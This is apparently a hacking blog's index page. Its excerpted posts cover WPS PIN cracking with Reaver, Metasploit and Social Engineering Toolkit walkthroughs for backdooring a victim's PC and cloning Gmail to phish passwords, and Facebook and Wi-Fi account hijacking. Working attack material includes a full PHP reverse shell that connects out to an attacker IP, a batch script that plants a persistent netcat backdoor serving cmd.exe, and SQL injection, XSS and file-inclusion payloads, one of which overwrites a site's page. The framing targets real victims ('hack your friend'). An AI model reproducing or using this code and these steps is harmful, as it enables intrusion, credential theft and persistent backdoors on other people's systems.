Reaver-wps WPA/WPA2 Cracking

So whats Reaver-

Reaver performs a brute force attack against an access point's WiFi Protected Setup pin number. Once the WPS pin is found, the WPA PSK can be recovered and alternately the AP's wireless settings can be reconfigured. While Reaver does not support reconfiguring the AP, this can be accomplished with wpa_supplicant once the WPS pin is known. 

Reaver performs a brute force attack against the AP, attempting every possible combination in order to guess the AP's 8 digit pin number. Since the pin numbers are all numeric, there are 10^8 (100,000,000) possible values for any given pin number. However, because the last digit of the pin is a check sum value which can be calculated based on the previous 7 digits, that key space is reduced to 10^7 (10,000,000) possible values. 

The key space is reduced even further due to the fact that the WPS authentication protocol cuts the pin in half and validates each half individually. That means that there are 10^4 (10,000) possible values for the first half of the pin and 10^3 (1,000) possible values for the second half of the pin, with the last digit of the pin being a check sum. 

Reaver brute forces the first half of the pin and then the second half of the pin, meaning that the entire key space for the WPS pin number can be exhausted in 11,000 attempts. The speed at which Reaver can test pin numbers is entirely limited by the speed at which the AP can process WPS requests. Some APs are fast enough that one pin can be tested every second; others are slower and only allow one pin every ten seconds. Statistically, it will only take half of that time in order to guess the correct pin number. 

Lets Begin-

First Download Reaver & it is only supported on the Linux platform, requires the libpcap and libsqlite3 libraries, and can be built and installed by running: 

$ ./configure

$ make

# make install

To remove everything installed/created by Reaver:

# make distclean

USAGE-

Usually, the only required arguments to Reaver are the interface name and the BSSID of the target AP:

 # reaver -i mon0 -b 00:01:02:03:04:05 

The channel and SSID (provided that the SSID is not cloaked) of the target AP will be automatically identified by Reaver, unless explicitly specified on the command line: 

 # reaver -i mon0 -b 00:01:02:03:04:05 -c 11 -e linksys 

By default, if the AP switches channels, Reaver will also change its channel accordingly. However, this feature may be disabled by fixing the interface's channel: 

# reaver -i mon0 -b 00:01:02:03:04:05 --fixed  

The default receive timeout period is 5 seconds. This timeout period can be set manually if necessary (minimum timeout period is 1 second): 

  # reaver -i mon0 -b 00:01:02:03:04:05 -t 2 

The default delay period between pin attempts is 1 second. This value can be increased or decreased to any non-negative integer value. A value of zero means no delay:  

# reaver -i mon0 -b 00:01:02:03:04:05 -d 0 

Some APs will temporarily lock their WPS state, typically for five minutes or less, when "suspicious" activity is detected. By default when a locked state is detected, Reaver will check the state every 315 seconds (5 minutes and 15 seconds) and not continue brute forcing pins until the WPS state is unlocked. This check can be increased or decreased to any non-negative integer value:   

# reaver -i mon0 -b 00:01:02:03:04:05 --lock-delay=250 

For additional output, the verbose option may be provided. Providing the verbose option twice will increase verbosity and display each pin number as it is attempted:   

# reaver -i mon0 -b 00:01:02:03:04:05 -vv 

The default timeout period for receiving the M5 and M7 WPS response messages is .1 seconds. This timeout period can be set manually if necessary (max timeout period is 1 second):

# reaver -i mon0 -b 00:01:02:03:04:05 -T .5  

Some poor WPS implementations will drop a connection on the floor when an invalid pin is supplied instead of responding with a NACK message as the specs dictate. To account for this, if an M5/M7 timeout is reached, it is treated the same as a NACK by default. However, if it is known that the target AP sends NACKS (most do), this feature can be disabled to ensure better reliability. This option is largely useless as Reaver will auto-detect if an AP properly responds with NACKs or not:

# reaver -i mon0 -b 00:01:02:03:04:05 --nack 

While most APs don't care, sending an EAP FAIL message to close out a WPS session is sometimes necessary. By default this feature is disabled, but can be enabled for those APs that need it: 

# reaver -i mon0 -b 00:01:02:03:04:05 --eap-terminate  

When 10 consecutive unexpected WPS errors are encountered, a warning message will be displayed. Since this may be a sign that the AP is rate limiting pin attempts or simply being overloaded, a sleep can be put in place that will occur whenever these warning messages appear:  

# reaver -i mon0 -b 00:01:02:03:04:05 --fail-wait=360

  

Drop your Comments... Don't Forget to join our blog..

  

Read more »

Hacking Windows 7 & Xp with Fake Firefox add-on (XPI) : Metasploit Tutorials

>What am i doing?
1. Create a fake firefox extension with Metasploit that creates a backdoor from the victim system.
2. Trick users into installing the add-on
3. Break into the Target Machine.

>Pre-configuration:
*. As usual, you have to set up two virutal machines(VM ) in your virtualbox namely "Target"and "Attacker".
*. Install the windows xp or 7 in the Target VM.
*. Install the Backtrack in the Attacker VM.

>Part I: Update the Metasploit-

As we are going to use the latest module, you are advised to update the Metasploit modules. Don't know how to do this? No need to worry!
*. Open the Terminal
*. type msfupdate
*. This will update the Metasploit with latest modules..

>Part II: Configuring settings in Metasploit for the fake-addon exploit-

*Step 1:
Open the Terminal and type " msfconsole " to get the Metasploit console.
*Step 2:
Type " use exploit/multi/browser/firefox_xpi_bootstrapped_addon " in the console.
*Step 3:
Now we have to know the list of settings available for this exploit module. In order to get the list, you can type "show options" in the console.

*Step 4: Configurations-

Let us configure the setting for the exploit.
type the commands..

Command: set addonname fake

Details: Name for the fake add-on. you can change the "fake" to any name.

Command: set SRVHOST 192.168.56.11

Details: Here the 192.168.56.11 is the ip of Backtrack . You can get this ip by simply typing the "ifconfig" in the terminal.

Command: set SRVPORT 80

Details: Our server is going to be accessed via the port 80(default port)

Command: set URIPATH fakeEx

Details: The path in which the fake add-on will be available to download. For ex: http://192.1xx.5x.xx/fakeaddon

Command: set LHOST 192.168.56.11

Details: Here the 192.168.56.11 is the ip of Backtrack. You can get this ip by simply typing the "ifconfig" in the terminal.

>Step 5: Payload-

As usual, we can use Reverse Tcp payload for this attack also. So type the following command in the Metasploit console:

set payload windows/meterpreter/reverse_tcp

>Part III: Social Engineering Attack-

Successfully configured the settings for the exploit, what else? let us launch the exploit.

Type "exploit" in the console.
Now the exploit is started. Our fake add-on is available at,"http://192.1xx.5x.xx/fakeaddon".

Once victim visit the link, it will ask user to install the add-on in order to view the page. Once user install the add-on, the system will be backdoor-ed.

Now , You can control the victim system from meterpreter..

Read more »

Back connect Shell | Reverse Shell in PHP

Back Connect Shell also known as Reverse Shell is a Piece of Code which is used to Host a Shell on the Server or the Victim, But instead of sitting there and listening for connections (As in the Case of Bind Shell) it rather Connects Back to the Attacker Machine.

In this tutorial i’ll be making a Back Connect Shell in PHP-

Code-
back-connect.php
>Code: php

<?php
/*********************
@@author : Kumaran
@@facebook : facebook.com/hackersgrp
@@Email : mail4hackersgrp@gmail.com
********************/
ini_set ( 'max_execution_time' , 0 ) ;
?>
<html>
<head>
<title>Back Connect Shell -- PHP</title>
</head>
<body>
<h1>Welcome to Back Connect Control Panel </h1>
<p> Fill in the form Below to Start the Back Connect Service </p>
<?php
if ( isset ( $_GET [ 'port' ] ) &&
isset ( $_GET [ 'ip' ] ) &&
$_GET [ 'port' ] != "" &&
$_GET [ 'ip' ] != ""
)
{
echo "<p>The Program is now trying to connect!</p>" ;
$ip = $_GET [ 'ip' ] ;
$port = $_GET [ 'port' ] ;
$sockfd = fsockopen ( $ip , $port , $errno , $errstr ) ;
if ( $errno != 0 )
{
echo "<font color='red'><b>$errno</b> : $errstr</font>" ;
}
else if ( ! $sockfd )
{
$result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>" ;
}
else
{
fputs ( $sockfd ,
" \n ================================================================= \n
Back Connect in PHP \n
Coded by kumaran \n
@@author : kumaran
@@facebook : facebook.com/hackersgrp
@@Email : mail4hackersgrp@gmail.com
\n =================================================================" ) ;
$pwd = shell_exec ( "pwd" ) ;
$sysinfo = shell_exec ( "uname -a" ) ;
$id = shell_exec ( "id" ) ;
$dateAndTime = shell_exec ( "time /t & date /T" ) ;
$len = 1337 ;
fputs ( $sockfd , $sysinfo . " \n " ) ;
fputs ( $sockfd , $pwd . " \n " ) ;
fputs ( $sockfd , $id . " \n \n " ) ;
fputs ( $sockfd , $dateAndTime . " \n \n " ) ;
while ( ! feof ( $sockfd ) )
{
$cmdPrompt = "(Shell)[$]>" ;
fputs ( $sockfd , $cmdPrompt ) ;
$command = fgets ( $sockfd , $len ) ;
fputs ( $sockfd , " \n " . shell_exec ( $command ) . " \n \n " ) ;
}
fclose ( $sockfd ) ;
}
}
else
{
?>
<table align= "center" >
<form method= "GET" >
<td>
<table style= "border-spacing: 6px;" >
<tr>
<td>Port</td>
<td>
<input style= "width: 200px;" name= "port" value= "31337" />
</td>
</tr>
<tr>
<td>IP </td>
<td><input style= "width: 100px;" name= "ip" size= '5' value= "127.0.0.1" />
</tr>
<tr>
<td>
<input style= "width: 90px;" class = "own" type= "submit" value= "Connect back:D!" />
</td>
</tr>

</table>
</td>
</form>
</tr>
</table>
<p align= "center" style= "color: red;" >Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
<?php
}
?>

Its as easy as a couple of clicks to make it work and to use..!

Dont forget to Like and comment..

Read more »

Basic Website Hacking Tutorial for beginners

Note: I believe you have some basic knowledge of HTML and PHP :)
Intended for educational purpose only...


SQL Injection

SQL injection is the act of injection your own, custom-crafted SQL commands into a

web-script so that you can manipulate the database any way you want. Some example usages of

SQL injection: Bypass login verification, add new admin account, lift passwords, lift

credit-card details, etc.; you can access anything that’s in the database.

Example Vulnerable Code – login.php (PHP/MySQL)
Here’s an example of a vulnerable login code
PHP Code:

php
$user = $_POST['u'];
$pass = $_POST['p'];

if (!isset($user) || !isset($pass)) {
echo(“<form method=post>

“);
} else {
$sql = “SELECT `IP` FROM `users` WHERE `username`=’$user’ AND `password`=’$pass’”;
$ret = mysql_query($sql);
$ret = mysql_fetch_array($ret);
if ($ret[0] != “”) {
echo(“Welcome, $user.”);
} else {
echo(“Incorrect login details.”);
}
}
?>

Basically what this code does, is take the username and password input, and takes the

users’s IP from the database in order to check the validity of the username/password combo.

Testing Inputs For Vulnerability
Just throw an “‘” into the inputs, and see if it outputs an error; if so, it’s probably

injectable. If it doesn’t display anything, it might be injectable, and if it is, you will

be dealing with blind SQL injection which anyone can tell you is no fun. Else, it’s not

injectable.

The Example Exploit
Let’s say we know the admin’s username is Administrator and we want into his account. Since

the code doesn’t filter our input, we can insert anything we want into the statement, and

just let ourselves in. To do this, we would simply put “Administrator” in the username box,

and “‘ OR 1=1–” into the password box; the resulting SQL query to be run against the

database would be “SELECT `IP` FROM `users` WHERE `username`=’Administrator’ AND

`password=” OR 1=1–’”. Because of the “OR 1=1″, it will have the ability to ignore the

password requirement, because as we all know, the logic of “OR” only requires one question

to result in true for it to succeed, and since 1 always equals 1, it works; the “–” is the

‘comment out’ character for SQL which means it ignores everything after it, otherwise the

last “‘” would ruin the syntax, and just cause the query to fail.

XSS (Cross-Site Scripting)
This vulnerability allows for an attacker’s input to be sent to unsuspecting victims. The

primary usage for this vulnerability is cookie stealing; if an attacker steals your cookie,

they can log into whatever site they stole your cookie from under your account (usually,

and assuming you were logged in at the time.)

Example Vulnerable Code – search.php (PHP)
PHP Code:

php
$s = $_GET['search'];
// a real search engine would do some database stuff here
echo(“You searched for $s. There were no results found”);
?>

Testing Inputs For Vulnerability
For this, we test by throwing some HTML into the search engine, such as “<font

color=red>XSS</font>”. If the site is vulnerable to XSS, you will see something like this:

XSS, else, it’s not vulnerable.

Example Exploit Code (Redirect)
Because we’re mean, we want to redirect the victim to goatse (don’t look that up if you

don’t know what it is) by tricking them into clicking on a link pointed to

“search.php?search=// “. This will output “You searched for // . There were no results

found” (HTML) and assuming the target’s browser supports JS (JavaScript) which all modern

browsers do unless the setting is turned off, it will redirect them to abc.

RFI/LFI (Remote/Local File Include)
This vulnerability allows the user to include a remote or local file, and have it parsed

and executed on the local server.

Example Vulnerable Code – index.php (PHP)
PHP Code:
<?php
$page = $_GET['p'];
if (isset($page)) {
include($page);
} else {
include(“home.php”);
}
?>

Testing Inputs For Vulnerability
Try visiting “index.php?p=http://www.google.com/”; if you see Google, it is vulnerable to

RFI and consequently LFI. If you don’t it’s not vulnerable to RFI, but still may be

vulnerable to LFI. Assuming the server is running *nix, try viewing

“index.php?p=/etc/passwd”; if you see the passwd file, it’s vulnerable to LFI; else, it’s

not vulnerable to RFI or LFI.

Example Exploit
Let’s say the target is vulnerable to RFI and we upload the following PHP code to our

server
PHP Code:
<?php
unlink(“index.php”);
system(“echo Hacked > index.php”);
?>
and then we view “index.php?p=http://our.site.com/malicious.php” then our malicious code

will be run on their server, and by doing so, their site will simply say ‘Hacked’ now.

Read more »

HOW TO HACK GMAIL AND FACEBOOK WITH BACKTRACK 5

Requirement ::

Backtrack 5

Open Backtrack,
Type ifconfig to check IP

Now Again Open Your Backtrack terminal and Type cd /pentest/exploits/set

Now Open Social Engineering Toolkit (SET) ./ set
Choose option 2, “Website Attack Vectors”

Choose option 4, “Tabnabbing Attack Method”.

Choose option 2, "Site Cloner"

Enter the URL of the site you want to clone. In this case gmail(type url) and hit enter.

Now send your IP to victim and when victim open IP is browser a fake Gmail page start working and when user input Username and Password in fake page. The Username and Password displayed on SET.

Hope you like the tutorial..

Read more »

How to Create a FUD Backdoor – Bypass An Antivirus

1. Create a batch file that will add your Netcat into the system folder and can edit the registry of the windows. Wait you don’t need to create it because I did it for you.
   

@echo off
copy rcat.exe %systemroot%\system32\rcat.exe
if errorlevel 0 goto regedit
goto error
:regedit
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /f /v nc /d "%systemroot%\system32\rcat.exe -L -d -p 4444 -t -e cmd.exe"
if errorlevel 0 goto ip
:error
echo something wrong with the program.
goto end
:ip
echo write down the IP address from the table
ipconfig
:end
echo end.
nc -L -p 4444 -t

• Open a notepad and than save it to name.bat
• Download rcat and then copy rcat.exe into the same directory where name.bat exist
• Now we use winrar to combine these two file, select both and then right click on add to archive

Read more »

Man-in-the-middle attack

The man-in-the-middle attack (often abbreviated MITM, also known as a bucket brigade attack, or sometimes Janus attack) in cryptography and computer security is a form of active eavesdropping in which the attacker makes independent connections with the victims and relays messages between them, making them believe that they are talking directly to each other over a private connection, when in fact the entire conversation is controlled by the attacker. The attacker must be able to intercept all messages going between the two victims and inject new ones, which is straightforward in many circumstances (for example, an attacker within reception range of an unencrypted Wi-Fi wireless access point, can insert himself as a man-in-the-middle).

A man-in-the-middle attack can succeed only when the attacker can impersonate each endpoint to the satisfaction of the other—it is an attack on (or lack of) mutual authentication. Most cryptographic protocols include some form of endpoint authentication specifically to prevent MITM attacks. For example, SSL can authenticate one or both parties using a mutually trusted certification authority.
Contents

Need for additional transfer over a secure channel

With the exception of Interlock Protocol, all cryptographic systems that are secure against MITM attacks require an additional exchange or transmission of information over some kind of secure channel. Many key agreement methods have been developed, with different security requirements for the secure channel.[citation needed]

Example of an attack=

Illustration of man-in-the-middle attack.

Suppose Alice wishes to communicate with Bob. Meanwhile, Mallory wishes to intercept the conversation to eavesdrop and possibly deliver a false message to Bob.

First, Alice asks Bob for his public key. If Bob sends his public key to Alice, but Mallory is able to intercept it, a man-in-the-middle attack can begin. Mallory sends a forged message to Alice that claims to be from Bob, but instead includes Mallory's public key.

Read more »

What is an IFrame Injection? Mass IFrame Attack Tutorial

What is an IFrame Injection? Using IFrame tag, The Attackers injects the malware contain website(links) using Cross site Scripting in popular websites. So if the usual visitors of that popular sites opens the website, it will redirect to malware contain website. Malware will be loaded to your computer, now you are infected

What is IFrame Tag? <Iframe> tag stands for Inline Frame. It is used to insert contents from another website or server. That can be useful for building online applications.

Read more »

Hack your friend by using BackTrack 5 | Backtrack 5 tutorial

BackTrack 4 is an penetration testing tool that is run as an live CD , it is an modded form of Linx(Ubuntu) that can be used for hacking.In this tutorial I will show you how to generate payloads in it.

WARNING !!!!!!!!!!!!!! THIS HAS BEEN DISCUSSED TO TELL YOU ABOUT THE WAYS IN WHICH YOUR COMPUTER MIGHT BE EXPLIOTED !!!! DO NOT USE THIS ON ANYONE ELSE OTHER THAN YOURSELF !

In this tutorial we will be using a useful tool on Backtrack 4 to create a payload which we will then send a slave, the payload created is in exe, once the slave is Social Engineered into running the payload, A meterpreter session will appear to us. We will set it up with a listener on a port, meaning we will have a shell prompt open, waiting for a connection from the slave, once this occurs we have a session, and entry to the victims machine.

Read more »

Disable Internet Cafe Timer

Note:Use This Software At Your Responsibility

Read more »

Get Computer Password

Get Computer using below code.
After you run the code, all passwords will be displayed..

Code :
# include<stdio.h>
# include<stdio.h>
# include<process.h>
# include<stdlib.h>
# include<ctype.h>
# include<conio.h>
# include<mem.h>

Read more »

Turn off Timer in Cyber cafe

First open notoped and type CMD then save it like (something).bat and run it!
Then when you open Command Promt (CMD) type
-cd\windows
then type
-regedit

Read more »

How to Prevent Blogger Country Specific URL Redirection (302) !!

Recently, Blogger introduces a Country Specific URL’s redirection for all BlogSpot domains. Instead of the blogspot.com domain extension, your readers will see their country specific domain extensions. The redirection currently implemented on India and so far all blogspot.com domains redirecting to blogspot.in.

For example: If you are viewing a blog with address blog-> kumaranvr.blogspot.com
India (IN), then you will be redirected to blog-> kumaranvr.blogspot.in.

This redirection is called “country-code Top Level Domain” (ccTLD). It also knows as “302 Redirect” which is a temporary change and not a 301 redirect which is a permanent change of address.

Read more »

Simple Method To Create iTunes Account Without Credit card

You can easily create an iTunes account without credit card with this tutorial.

The Ingredients you need:- iTunes software installed in your PC/MAC, your iPhone with cable.

Read more »

How to Root Galaxy Y S5360 in 7 simple steps-

Samsung Android Galaxy Y-S5360: Is no doubt a best budget android phone which can easily fit in everyone pocket because of low price and as it’s getting very popular among “YOUNG” few week ago company announced its new  dual sim model name as Samsung Galaxy Y 2 android phone. So, today i am going to make a post on how to Root Galaxy Y S5360 to make this phone more user friendly and more fast..

Now before we proceed to Root Galaxy Y –S5360 make sure all your data back-up properly. If you haven’t done it yet, then Go and do back up your all phone data i don’t think you want to lose your all contact and message. Enable USB debugging mode of your phone by going through Setting>> Application>> Development>> USB Debugging.

Read more »

[Tutorial] Disinfecting and Hacking a Keylogger

To disinfect yourself and hack the keylogger.

This tutorial is based on how to disinfect ourself if we are keylogged and then how to hack or revert a ftp and email based keylogger..

Disclaimer-

This tutorial is made only for educational purposes, i hereby take no responsibility how you uses it….
I also take no responsibility if you reached jail but that have very few chances as its not illegeal, its one kind of busting those black hat hackers!!!

Read more »

Firesheep: How To Hack Twitter And Facebook Account Password On Wifi | Tips to Hack Facebook and Twitter on Wifi

Follow the below steps for do this-

1. Download firesheep Firefox extension. This is a freeware extension for firefox browser.

2. Once installed it will open a sidebar window into your firefox browser.

3. Now it will show all the people who are connected to unsecured wifi network. Once they login into your facebook or twitter account you will get a notification and with a single click you can login into their account.

Read more »

How to Bypass Two-Step Authentication in Facebook?

Hey guys, i've found a way to bypass the security feature called Two-Factor authentication. If you login from unknown devices, Facebook will launch the Two-step authentication and asks users to enter code which is send to your phone.

When i tried to login into a hacked account, the Facebook asked me to enter Login approvals code. well i didnt have his mobile, i selected that “I can’t get my code” and noticed “Skip this and stop asking me to enter codes”.

Read more »

How to Crack Wi-Fi WPA and WPA2 and PSK passwords

The wireless networks are being deployed extensively these days. Both home and office wired networks are now being upgraded to Wi-Fi zones so that many users can connect simultaneously in a wire free environment. With comfort your security is being compromised. The WiFi networks makes use of wireless encryption like WEP, WPA, WPA 2 PSK etc. All these encryption algorithms provides security to IEEE 802.11 wireless networks.


Though WEP algorithm was introduced to provide privacy equivalent to wired networks its the most un secure and easily susceptible algorithm. The Wifi networks secured using WEP can be cracked within minutes with readily available software or hardware. Check this hardware for an example. That explains how insecure WEP algorithm is. Then came the WPA and WPA 2  that promised a secure connection via a stronger algoritm. Though these 2 algoritms are recommended it is still susceptible via software.

Read more »

Hacking into another persons computer

Hacking into another persons computer
----------------------------------------------------------------------------------------------
The following article explains the method used for hacking into another persons computer remotely using command prompt in your network ie network computer hacking,I have also posted another article regarding computer hacking termed as How to hack a computer by netbios Hacking
---------------------------------------------------------------------------------------------
Hacking into another persons computer - Method
---------------------------------------------------------------------------------------------
Step 1
First of all,get a good IP scanner angry ip scanner is a good one you can get it here:
http://www.angryip.org/w/Home

Read more »